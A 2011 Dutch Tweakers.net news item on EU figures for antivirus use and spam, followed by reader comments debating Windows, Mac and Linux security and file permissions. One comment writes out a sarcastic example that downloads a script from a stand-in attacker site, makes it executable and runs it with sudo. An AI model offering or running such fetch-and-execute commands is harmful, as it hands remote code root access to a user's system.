Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Door , , 113 reacties
Submitter: andreklaver

Een overgrote meerderheid van de Nederlandse internetters heeft een virusscanner geïnstalleerd, blijkt uit cijfers van de EU. Daarmee loopt Nederland voorop in de Europese Unie. Wel hebben Nederlanders meer last van spam dan gemiddeld.

Gemiddeld heeft 84 procent van de internetgebruikers in de Europese Unie beveiligingssoftware, meldt het CBS. Nederlandse internetgebruikers lopen voorop: van hen heeft 96 procent dergelijke software geïnstalleerd. In België is dat 89 procent. Het gaat overigens wel om relatief oude cijfers, uit 2010.

Het kleinste aantal internetgebruikers met een virusscanner kan worden gevonden in Letland: 62 procent. Acht op de tien internetters in Nederland installeren regelmatig updates van hun beveiligingssoftware; een op de twintig doet dit nooit.

Nederlanders en Belgen hebben wel meer last van spam dan gemiddeld. Waar van alle Europese internetters 56 procent wel eens met spam te maken heeft, is dat in Nederland en België allebei 68 procent. Het aantal virussen onder Nederlanders valt wel weer mee; 23 procent van de Nederlandse gebruikers had vorig jaar last van een virus, tegen 31 procent van de Europese internetters. In België lag dat percentage op 32 procent.

Moderatie-faq Wijzig weergave

Reacties (113)

Nederlandse internetgebruikers lopen voorop: van hen heeft 96 procent dergelijke software [antivirussoftware] geïnstalleerd.
Marktaandeel windows is dus > 96% er van uitgaande dat niet elke windows gebruiker een antivirussoftware geinstalleerd heeft?

Deze cijfers verbazen me nogal!
Marktaandeel Windows is < 96% Namelijk 92,21% in 2010. En aangezien dit artikel over 2010 gaat... Die overige 4% is niet alleen MacOS, er zijn ook nog mensen met Linux.

http://webwereld.nl/nieuw...indows-daalt-gestaag.html
Ook onder OS X en Linux heb je virusscanners en andere beveiligingssoftware.
Misschien ben ik paranoide maar soms vraag ik wel af of de 'grote jongens' niet af en toe zelf een virus creëren om vervolgens met een antidote klaar te staan.

Overigens is er al enkele jaren geen grote epidemie meer geweest en zou dat natuurlijk ook kunnen komen doordat virusscanners steeds beter worden en ook preventief zaken 'blokken', ook al is een nieuw virus nog niet bekend.

Tenslotte vraag ik me wel eens af hoeveel performanceverlies je lijdt door een virusscanner. In het verleden was dat voor mij nog wel een reden om te kiezen om geen scanner te installeren maar tegenwoordig is het denk ik geen factor van belang meer.
Slightly Off-topic:

Tenslotte vraag ik me wel eens af hoeveel performanceverlies je lijdt door een virusscanner. In het verleden was dat voor mij nog wel een reden om te kiezen om geen scanner te installeren maar tegenwoordig is het denk ik geen factor van belang meer.

Tomshardware heeft dit zeer recentelijk getest en kwam tot de volgende conclusie:
In retrospect, we have to wonder if it was a mistake to run these tests on a modern quad-core processor (Core i7-2600K). In reality, the CPU is so fast that it’s hard to register a significant load from even the most demanding AV apps.
http://www.tomshardware.c...ce-benchmark,3045-14.html
De test is een beetje misleidend, want er is ook nog zoiets als geheugengebruik, integratie in het systeem en methodiek van het scannen (archief, heuristic etc.) die bepalend is.
Ik heb het idee dat de bottleneck niet zozeer in het CPU verbruik zit bij de virusscanners, maar in de belasting van de HDD. Bij een SSD zal je dat niet echt merken, maar bij conventionele harde schijven gaat ie toch bestanden scannen die op disk staan en dat vertraagd wel je systeem. Met name op iets oudere systemen kan je dat verschil goed merken.
Mijn laptop (Acer Aspire one 721) vind het niet lekker als ik een actieve scan doe (word ie iets trager).
Bij McAfee bleef het ding gewoon hangen.
Ja het is een Singlecore, dus daar lag/ligt het grootste gedeelte van het probleem.
Tegenwoordig zijn de (meeste) pc's uitgerust met minstens Dualcore.
Mijn ervaring met de Celeron-PC's (1MB ram) van mijn kennissen is heel anders. Die slaan kompleet vast. Dat geld ook min of meer voor een AMD K125-netbook.

Voor een i7-2600K zal het wel kloppen en dat is ook het soort systeem dat hardware-enthousiatelingen (zoals de mensen van Tomshardware, en van Tweakers.net) dat zijn, en voor het typische developer-systeem.

Softwaremakers zouden standaard op een low-end-systeem moeten werken en daarnaast moesten testen op high-end in plaats van andersom.

Verder sluit ik me aan bij wat X_lawl_X hierboven schrijft.
Ah bedankt :-) (ingmaronline ook) Mijn gevoel is dus door Tom bevestigd in harde cijfers :P
Ik gebruik zelf op al mijn pc's gewoon de Microsoft Essentials. Maar ik merk daar nooit aan dat die CPU eet. Zeker als hij vraagt: Mag ik scannen, en dan icm met een SSD, is hij binnen een halve minuut klaar met scannen! Plus ik ga er altijd vanuit dat ik geen gekke dingen installeer. :P In ieder geval geen AVG meer..
Zolang je computer een Core-type cpu is werkt Security Essentials inderdaad prima, zelfs op de single cores. Alleen als je nog een Pentium 4 computer met één core hebt dan ben je echt de zak. De computers waarop ik SE1 en SE2 heb geprobeerd trekken dat niet. Dan moet je echt uitwijken naar een oudere versie van NOD32 of Norton Corporate.
en de andere 4% denkt veilig te zijn omdat ze een mac draaien

edit: al draaien een hoop mac users ook antivirus. Op windows heb ik de laatste 4 jaar ook geen meldingen gezien.

[Reactie gewijzigd door haarbal op 17 oktober 2011 13:20]

Ja, ik draai OS X Server zonder virus scanner, staat op internet met alle poorten open en nog nooit last gehad (staat wel een firewall op).

Er bestaan tot op vandaag geen virussen die zonder interactie van de gebruiker een up to date OS X installatie besmetten, gewoon voorzichtig zijn wanneer er om een paswoord gevraagd wordt.


En voordat je me naar beneden mod (want dit is gebruikelijk als je dit zegt op tweakers.net), wees dan zo dapper om me een bron/link te geven met een virus voor OS X.
Ja, ik draai OS X Server zonder virus scanner
Je weet dat OS X Server ( 10.6 en 10.7 iig ) standaard een virusscanner aan boord heeft he?
ik draai al 10 jaar zonder enige vorm van beveiligings software en heb maar 1x problemen gehad ongeveer 4 jaar geleden met die troep die zich voordeed als beveiligins software.

je ben zo veilig als je zelf wil klik je geen onding aan heb je ook geen problemen.
Kijk eindelijk iemand die wijze woorden spreekt.
Het ligt voor een groot deel idd ook aan jezelf of je beveiligings software echt nodig hebt of niet.

Als je op normale en legale websites surft en eigenlijk nooit zomaar wat download, vreemde mails opent en bij installers altijd maar next>next>next>Enter klikt, behalve dan driver updates of patches voor games dan ben je al voor 90% goed bezig en zul je niet zo snel last krijgen van een virus o.i.d.

Ik gebruik Microsoft Security Essentials omdat het een lekker klein en licht progje is dat volgens mij het meeste wel tegenhoudt en ik heb eigenlijk nog nooit in al mijn computerjaren een serieus virus gehad die m'n PC kon slopen.
Al die ingewikkelde scanners met weet ik niet hoeveel opties zijn niet per se heiliger dan een simpele scanner zolang je maar goed oplet op het wereld wijde web. ;)
zelfs dat heb ik uit windows geript ik heb ook de firewall van bijde windows en de router verwijderd en uitgezet.
neeh netbsd in een vm, die weer op een read only *bsd draait.... alle comm. gesandboxed en alle ports dicht gemept met een soft- en hardware firewall (oops das beveiligings software en hardware), en ik geloof dat er standaard een firewall in osx zit ( http://support.apple.com/kb/ht1810 ).... nu alleen nog de updates draaien....
Ik denk dat het risico op een mac wel degelijk een stuk lager ligt. Dat wil niet zeggen dat de veiligheid beter is.

Verder denk ik dat platformen in de toekomst een kleinere rol gaan spelen in beveiliging. Door de verschuiving naar de cloud is het voor kwaadwillende mensen makkelijker om daar data vandaan te plukken.

[Reactie gewijzigd door Interfico op 17 oktober 2011 12:05]

Neem je dan ook mee dat mac gebruikers over het algemeen niet handig zijn met computers?
Wanneer ik om me heen kijk is het echter statistisch gezien correct. Geldt echter ook voor Windows gebruikers :)

[Reactie gewijzigd door Abom op 17 oktober 2011 12:27]

Ik draai gewoon NOD32 hoor :) Raad het ook altijd aan iedereen aan. Mac en Linux zijn allebei ongeveer even veilig als Windows, behalve dat meer op Windows gefocust wordt.
Totdat iemand een executable ontwikkelt voor de Mac met de volgende naam:

taylor-swift-porn-download

Deze wordt dan flink rondgestuurd per mail, en vraagt alleen even je root-password van de computer "om toegang te krijgen tot de download" als je erop dubbelklikt. Dan heeft dat programma gewoon alle rechten op de hele computer.

BOEM. Alles weg / computer besmet.

Zeg nou zelf, dit is de manier waarop "virussen" de laatste 10-12 jaar werken. Er zijn maar relatief weinig virussen die zich ongemerkt en ongezien verspreiden, zoals "vroeger".

Dit werkt ook op een Mac of onder Linux, en als je het niet gelooft, maak ik morgen wel effe zo'n bestandje, als je me een Mac te leen doet.

Daarnaast ben je onder OSX en Linux net zo gevoelig voor fishing zooi dan onder Windows, omdat je er zelf een hand in hebt; je moet er immers zelf in trappen. Het OS heeft daar weinig mee van doen.

[Reactie gewijzigd door Katsunami op 17 oktober 2011 12:17]

Totdat iemand een executable ontwikkelt voor de Mac met de volgende naam:

taylor-swift-porn-download

Deze wordt dan flink rondgestuurd per mail, en vraagt alleen even je root-password van de computer "om toegang te krijgen tot de download" als je erop dubbelklikt.
Bedankt voor je inschatting hoe "slim" de gemiddelde Apple gebruiker is.
Zelfs mijn pa, en die is toch redelijk goedgelovig, vraagt regelmatig op update schermpjes, waar ie een UAC scherm (win 7) voor krijgt, of ie daar wel "ja" op mag geven.
En e-mail bijlagen slaat ie op, (kan de virusscanner het ff bekijken) heb ik hem geleerd (hoop ik) maar daar vraagt ie ook naar als het een keer mislukt: dat weet ie niet wat er bijgesloten was, dus zal ie het niet geopend hebben, denk ik dan maar.

En onder linux valt zo'n sudo scherm helemaal op, want die krijg ik nooit, behalve bij uitdrukkelijk aanklikken van updates en software installatie.

Linux (desktop) heeft nauwelijks last van virussen, want die zijn er beperkt voor linux desktop, voor zover ik weet.

[Reactie gewijzigd door Xubby op 17 oktober 2011 12:54]

Bedankt voor je inschatting hoe "slim" de gemiddelde Apple gebruiker is.
Het heeft niets met "Apple-gebruikers" te maken. Het gaat om het principe. Je moet slechts mensen vinden die erin trappen, en als dat op Windows kan, dan kan het ook op andere OS-en.
Een email-bijlage wordt niet zomaar executable onder linux/osx. En als dat al zo zou zijn, is het niet de bedoeling dat je meteen je root-wachtwoord gaat invullen.

Voor osx/linux gebruikers is een virusscanner vooral zinvol als je een server draait met veel windows-gebruikers.

Maar als je idd zomaar dit doet:
wget http://evil-hax0r-site.ru/evilscript;
chmod +x evilscript;
sudo ./evilscript
Dan heb je idd een virusscanner nodig ja!

[Reactie gewijzigd door Peetz0r op 17 oktober 2011 12:37]

Er zullen zeker manieren zijn om een bijlage als executable te markeren en hem als zodaning per mail te versturen, of als downloadbare link aan te bieden. (Er zijn genoeg .DMG files te vinden die je kunt openen en opstarten zonder problemen, zoals driver-installaties bijvoorbeeld). Daar kun je dus ook rotzooi instoppen.

Zolang de gebruiker onkundig is kun je daar -altijd- misbruik van maken. Dat is dan ook wat meestal onder Windows gebeurt tegenwoordig.
Dan heb je geen virusscanner nodig maar heb je meer aan een computercursus.
Zolang dit soort handelingen nodig zijn om malware te installeren op mijn Linuxbak, ben ik het met Wolfos eens dat ik geen virusscanner nodig heb. En ik denk dat dit voor veel andere mensen ook geldt.
Diezelfde handeling moet ik onder Windows ook uitvoeren. Als ik mijn account op "Standard User" zet, en een wachtwoord in de Admin-account knal, dan krijg ik van UAC een wachtwoordvraag, net zoals sudo onder OSX / Linux.

Ik heb dat al 5 jaar zo staan (sinds Vista), en zelfs onder NT of XP werkte ik niet als Admin. Dat is het hele probleem namelijk, in geval van "onveilige computers".
Onder linux is dus nog een extra stap : (chmod +x evilscript;)
Zonder deze flag wordt het programma niet als uitvoerbaar gezien.
En iets wat je download heeft deze flag niet.

Dus ergens op klikken werkt niet.

[Reactie gewijzigd door hackerhater op 17 oktober 2011 21:10]

Onder linux is dus nog een extra stap : (chmod +x evilscript;)
Zonder deze flag wordt het programma niet als uitvoerbaar gezien.
En iets wat je download heeft deze flag niet.

Dus ergens op klikken werkt niet.
Klopt..
Het is onzin om een antivirus op een Mac te draaien, maakt alleen je computer langzamer en die programma's doen meestal niets omdat er überhaupt bijna geen malware is.

Op Linux is al helemaal bullshit.
wil niks zeggen maar er zijn wel degelijk MAC virussen... En er was zelfs voor een lange tijd een Java exploit op de Mac die Apple niet wilde fixen.. terwijl de linux en windows versie al maanden gepatched waren, en ja die Java exploit werdt toen veel gebruikt op de Mac.
edit: Ik praat over 2009 btw

[Reactie gewijzigd door demilord op 18 oktober 2011 12:49]

Er draait al een antivirus/malware scanner op OS X onzichtbaar op de achtergrond, XProtect.
Linux en Mac OS X zijn een stuk veiliger dan Windows, fact. de reden dat er meer virussen zijn voor Windows heeft niet alleen met het marktaandeel te maken hoor.

@haarbal: insinueren is je niet vreemd...
macquarius: Onderbouw je mening nou eens, het lijkt me meer dan logisch, dat er op de groots mogelijke O.S de meerst virussen worden uitgezet.
Wat denk je zelf van spam, botnets ect. hoe meer geinfecteerd, des te beter, want dan komt er meer geld in het laadje, van deze heerschappen.
Macquarius zegt al "niet alleen", dus het heeft er zeker wel mee te maken. Maar wat vooral linux veiliger maakt is dat alle libraries apart geupgrade worden, wat zeker weten veel problemen creert, maar de boel wel onvergelijkbaar veiliger maakt. Veel windows aanvallen richten zich op oude software, en dat betekend vaak bijvoorbeeld een oude versie van een library die ergens in een app word gebruikt. De applicatie bouwer heeft geen motivatie om z'n app te upgraden, want die werkt toch wel, maar ondertussen zitten er wel security exploits in. Verder was linux altijd veel beter door de uitgebreide (en nog steeds simpelere :+) rechtenstructuur, ook al heeft windows tegenwoordig daar veel ingehaald.
Verder was linux altijd veel beter door de uitgebreide (en nog steeds simpelere ) rechtenstructuur, ook al heeft windows tegenwoordig daar veel ingehaald.
:X De rechten die je in Linux standaard kan zetten (ja je kan met kunst en vliegwerk ook ACL's gebruiken) zijn echt BEJAARD.
De ACL's die windows heeft binnen NTFS zijn veel flexibeler en uitgebreider... hoe kom je er in godsnaam bij dat Linux een uitgebreide rechtenstructuur heeft.. het omgekeerde is waar.. de ACLS in NTFS (en de verschillende security groepen binnen domeinen) laten je zeer fijn rechten zetten hetgeen gewoon niet zo is met de default file system mode (bits zetten) op *NIX.

Nee ik ben geen MS fanboy, ik draai thuis BSD en die hebben standaard ook nog het oude UNIX rechtensysteem. Het is oud. het is ACHTERHAALD. en dan ga jij doodleuk roepen: ook al heeft windows tegenwoordig daar veel ingehaald.

Het is *NIX die hier achterloopt. En nogmaals: er zijn pogingen om ook ACL's als standaard te introduceren, maar die over het algemeen niet standaard en als je plain vanilla linux draait dan zit je nog steeds te CHMOD-en. omfg.

[Reactie gewijzigd door lenny_z op 17 oktober 2011 14:16]

SELinux is in veel distro's anders al redelijk diep ingeburgerd.
Persoonlijk zet ik deze dan wel weer uit omdat ik (net als in Windows) helemaal gek wordt van de berg aan opties en levels om in te stellen.
Soms is iets simpels wel het krachtigst zonder dat je een heel jaar een ACL moet studeren en dan alsnog hard zoekt naar net die ene instelling die roet in het eten gooit op een bepaald momentje dat 1x per dag op treed.

Als je ook een beetje Lektober volgt op webwereld dan zie je dat ook terugkomen in het verhaal over de gemeente De Bilt. Die na het configureren van een server ook nog steeds overal poorten en rechten verkeerd heeft staan.
Ach wat heet oud, NTFS is veeeel ouder dan ext4 of BTRFS of NILFS2.
Dat ACL in windows geavanceerder is, is mooi, maar geef mij maar een simpele beveiliging die werkt en die ik kan begrijpen.
Met chmod -R kan ik met 1 commando een hele directory en alle subdirectories in 1 keer dichtgooien. En dicht is dan ook echt dicht. Met 'ls -l' of een simpel shellscriptje kan ik controleren of het echt dicht staat.
Ik zou niet weten hoe ik dit met de windows verkenner kan doen. Ik zou niet eens weten hoe ik in windows ACL settings voor alle files in 1 folder in 1 keer kan bekijken. Dat maakt voor mij dat ik windows minder vertrouw dan Linux.
Met windows heb ik de afgelopen 20 jaar 2 keer last van een virus gehad. En ik gebruik een virusscanner, klik niet zomaar overal op, enz, enz.
NTFS
Ach wat heet oud, NTFS is veeeel ouder dan ext4 of BTRFS of NILFS2.
Dat ACL in windows geavanceerder is, is mooi, maar geef mij maar een simpele beveiliging die werkt en die ik kan begrijpen.
Met chmod -R kan ik met 1 commando een hele directory en alle subdirectories in 1 keer dichtgooien. En dicht is dan ook echt dicht. Met 'ls -l' of een simpel shellscriptje kan ik controleren of het echt dicht staat.
Ik zou niet weten hoe ik dit met de windows verkenner kan doen. Ik zou niet eens weten hoe ik in windows ACL settings voor alle files in 1 folder in 1 keer kan bekijken. Dat maakt voor mij dat ik windows minder vertrouw dan Linux.
Met windows heb ik de afgelopen 20 jaar 2 keer last van een virus gehad. En ik gebruik een virusscanner, klik niet zomaar overal op, enz, enz.
NTFS is in mijn ogen nog steeds achterhaald, in tegenstelling tot EXT4 BTRFS
Windows liep achter, vooral ten tijde van Win9x (inclusief Me) en heeft inderdaad veel ingehaald, met NT4. Sinds Active Directory (W2K dus) heeft Windows een veel uitgebreidere rechtenverlening. De structuur daarvan is echter ongelooflijk veel ingewikkelder.

Waar *nix/*nux een onderverdeling kent in gebruiker, groep en root en voor die drie kan instellen: uit (= geen toegang) lezen, uitvoeren en wijzigen, heeft men bij AD lezen en uitvoeren onder één noemer gebracht (gevaarlijk als je een script wel leesbaar maar niet uitvoerbaar wilt hebben voor een bepaalde doelgroep), is er onderscheid in wijzigen en volledig beheer (wat rechten wijzigen en bestand wissen inhoud) terwijl wijzigen net zo destructief kan zijn is als wissen. Uitgebreide kenmerken lezen/wijzigen, bestanden en submappen maken.

Ook door een groep lid te maken van een andere groep, het verschil in universele groepen, globale groepen en domein-gebonden groepen en het gebruik van OU's kan je het zo ingewikkeld maken dat er geen overzicht meer is.

Daarnaast heeft men permissies. Zowel de rechten als de permissies moeten goed staan, anders heeft een standaard gebruiker slechts toegang als hij lokaal inlogt, en op de PDC kan hij dat normaliter niet.

Commandlijn (chmod) is misschien niet zo gebruiksvriendelijk, maar daar zijn andere tools voor en het systeem van rechtenverdeling in drie (of vier) categoriën is wel zo overzichtelijk. Voor MKB is dat veelal voldoende.
Windows liep achter, vooral ten tijde van Win9x (inclusief Me) en heeft inderdaad veel ingehaald, met NT4. Sinds Active Directory (W2K dus) heeft Windows een veel uitgebreidere rechtenverlening. De structuur daarvan is echter ongelooflijk veel ingewikkelder.

Waar *nix/*nux een onderverdeling kent in gebruiker, groep en root en voor die drie kan instellen: uit (= geen toegang) lezen, uitvoeren en wijzigen, heeft men bij AD lezen en uitvoeren onder één noemer gebracht (gevaarlijk als je een script wel leesbaar maar niet uitvoerbaar wilt hebben voor een bepaalde doelgroep), is er onderscheid in wijzigen en volledig beheer (wat rechten wijzigen en bestand wissen inhoud) terwijl wijzigen net zo destructief kan zijn is als wissen. Uitgebreide kenmerken lezen/wijzigen, bestanden en submappen maken.

Ook door een groep lid te maken van een andere groep, het verschil in universele groepen, globale groepen en domein-gebonden groepen en het gebruik van OU's kan je het zo ingewikkeld maken dat er geen overzicht meer is.

Daarnaast heeft men permissies. Zowel de rechten als de permissies moeten goed staan, anders heeft een standaard gebruiker slechts toegang als hij lokaal inlogt, en op de PDC kan hij dat normaliter niet.

Commandlijn (chmod) is misschien niet zo gebruiksvriendelijk, maar daar zijn andere tools voor en het systeem van rechtenverdeling in drie (of vier) categoriën is wel zo overzichtelijk. Voor MKB is dat veelal voldoende.
chmod ingewikkeld?
idd. zeker de sandbox omgeving voor de applicaties draagt bij aan de veiligheid. Windows heeft daar met Vista ook een mooie sprong mee gemaakt (UAC gebeuren), maar het is nog steeds niet goed genoeg om zonder goede virusscanner te draaien.
Het marktaandeel is wel de grootste reden waarom er meer virussen voor windows zijn. De structuur van linux mag dan iets beter zijn, maar als alle virus makers zich vanaf nu alleen op mac of linux richten dan heb je binnen een maand genoeg exploids.
Alsof ze dat al niet doen, sterker nog, je kunt tegenwoordig prima naam maken als je een dergelijk virus op osx (en al helemaal op linux) in het wild kunt krijgen.

natuurlijk heeft het aantal gebruikers invloed maar net doen alsof het alleen het marktaandeel is van windows en dat het verder niets met het OS zelf te maken heeft is net zo kortzichtig als mac gebruikers die denken dat hun niets kan gebeuren
Linux is net zo dood al 20 jaar terug op de consumenten markt, heeft nog steeds geen enkele betekenis in de markt op wat tweakers na, en linux is zelfs onder de tweakers erg dun bezaait, laat staan dat gewone gebruikers maar in de buurt van linux willen komen.

Bij apple valt nu al weer stuk meer te halen, maar ook niet echt op desktop gebied. Heeft ook geen omvang van betekenis. Als je meeste uit je werkt wilt halen dan schrijf je gewoon iets voor Windows dan heb je 90% gedekt van alle consumenten pc wereldwijd. Dan ga je niet moeilijk doen om nog die 2% van linux erbij te krijgen of die 8% van apple, kost te veel werk en je krijgt er maar heel weinig voor terug.
Op desktop gebied ja. Echter op server en electronica gebied (routers ed) ruled Linux.
Leuke aanvalsvector.......
Op desktop gebied ja. Echter op server en electronica gebied (routers ed) ruled Linux.
Leuke aanvalsvector.......
Routers, TV's satelliet en andere receiverds , smartphones.. geld automaten, kassa's... in vliegtuigen.. Hoezo linux dood? 8)7
Wat is er veiliger aan dan? Eindgebruikers zonder pc-kennis geven net zo goed hun accountwachtwoord op in een popupje als ze dat in Windows zouden doen. Volgens mij is Mac en Linux tot nog toe veiliger door èn het marktaandeel èn het feit dat er vaak competentere mensen mee werken. Daarnaast scheelt het dat je voor de meeste software steeds minder extern hoeft te zoeken.
toevoeging :

http://www.iantivirus.com/threats/

http://macscan.securemac.com/spyware-list/

ze denken veilig te zijn maar zijn het niet.

als je het nihiele marktandeel van mac en deze lijsten vermenigvuldigd tot het aandeel hetzelfde is zal je zien dat het niet veel uitmaakt :)
per mac zijn er evenveel virussen en rotzooiware als voor de pc
Want? Lekkere onderbouwing!
Het is jaren geleden dat er een grote virus uitbraak op Windows machines was, die gebruikt maakte van een gat in de beveiliging.
Zoals ik hierboven uitleg gaat het niet alleen om fouten in het besturingssysteem zelf, maar ook de applicatie structuur zelf, wat natuurlijk niet weghaald dat de belangrijkste reden nog steeds het grote marktaandeel is. (En trouwens, op zich heeft mac ook sommige van dele soort essentiele problemen, alhoewel de rechtenstructuur zelf wel *iets* beter als die op windows, en mensen minder de neiging hebben om random tooltjes te installeren, maar dat is weer een ander verhaal)
Een fiat 500 is even snel als een nieuwe Ferrari, alleen zit er een snellere motor in de Ferrari...

Een feit is irrelevant aan de reden. Feit is dat er veel minder malware bestaat voor Mac OS. Het kan goed zijn dat de reden daarvoor is dat het minder gebruikt wordt (alhoewel dat ik dat eend rogreden vind, je maakt je als hacker toch immens bekend als je een virus kan schrijven voor Mac OS), maar dat verandert niet aan het feit.
Ik denk dat het 2% macintosh is (en die zijn ook veilig ;)) en de andere 2 andere OS'en (Linux)
Nee, die andere 4% is Diginotar etc. ;-)
Netjes zou ik zeggen, Ik vraag me af hoe het percentage is op Windows en Mac en Linux . Ik denk bij Windows het hoogste is en bij Mac het laagste. Lijkt mij wel interessant om te weten waar de 4% zit.
Op de Mac zal het bijna 100% zijn, aangezien er standaard een virusscanner op Snow Leopard en Lion draait.
96% en toch zijn er in Nederland mega grote botnets te vinden. Hoe komt de EU trouwens aan deze cijfers? De verkopen delen door het aantal geschatte pc's?
Denk dan eerder door: het aantal Nederlandse virus scanner downloads/updates van de virus scanner en het aantal verbonden pc's.. Die cijfers zijn makkelijker te achterhalen denk ik..
Microsoft Security Essentials heeft eindelijk een goed gratis product neergezet dat geen last heeft van nagscreens. Iedereen en overal waar ik PC's of servers kom gaat dit erop.
Servers met Security essentials is niet echt aan te raden. Maar op pc's gebruik ik die inderdaad ook als gratis versie.

Top product verder van MS.
Ik vraag mij echter wel af hoeveel hiervan legaal zijn? Zo zie ik nog redelijk vaak dat iemand NOD32 of Norton antivirus gebruikt wat gekraakt is, of dat iemand een gekraakte versie van WinXP/Vista/7 gebruikt ICM Microsoft Security Essentials.

Het is in iedergeval wel goed dat we hier in NL nog wel een beetje over de veiligheid met computers letten, legaal of illegaal zo voorkom je een hoop gedoe.

Edit: Ik vraag mij af hoeveel van de OSX gebruikers een virusscanner heeft geinstalleerd, in veel gevallen denken mensen dat hun mac niet geinfecteerd kan raken. Op de gok genomen gaan de cijfers in dit nieuwsstuk over windows gebruikers.

[Reactie gewijzigd door D4NG3R op 17 oktober 2011 11:55]

Ik vraag mij echter wel af hoeveel hiervan legaal zijn? Zo zie ik nog redelijk vaak dat iemand NOD32 of Norton antivirus gebruikt wat gekraakt is, of dat iemand een gekraakte versie van WinXP/Vista/7 gebruikt ICM Microsoft Security Essentials.
Als je je beveiligssoftware uit illegale bron haalt moet je wel echt van risico houden, lol.
Vrij logisch omdat je bij een legale Windows Microsoft Security Essentials en nog ander gratis anti-virus software kan gebruiken.
Grappig en aan elkaar gerelateerd.
Nederland scoort zeer goed (in de postitieve zin dan) op piracy.
Waarschijnlijk draaien er in Letland heel veel illegale en oudere Windows versies waar je geen updates op kan krijgen.

Crime Statistics > Software piracy rate (most recent) by country

Helaas uit 2007.
http://www.nationmaster.c...rime-software-piracy-rate
Meeste problemen ontstaan toch vaak tussen keyboard en stoel ... gebruikers dus die dingen doen die niet moeten.

Door simpel dagelijks gebruik, zonder porno of download sites en illegale software, zal je niet echt heel snel een virus oplopen.

Op dit item kan niet meer gereageerd worden.



Apple iOS 10 Google Pixel Apple iPhone 7 Sony PlayStation VR AMD Radeon RX 480 4GB Battlefield 1 Google Android Nougat Watch Dogs 2

© 1998 - 2016 de Persgroep Online Services B.V. Tweakers vormt samen met o.a. Autotrack en Carsom.nl de Persgroep Online Services B.V. Hosting door True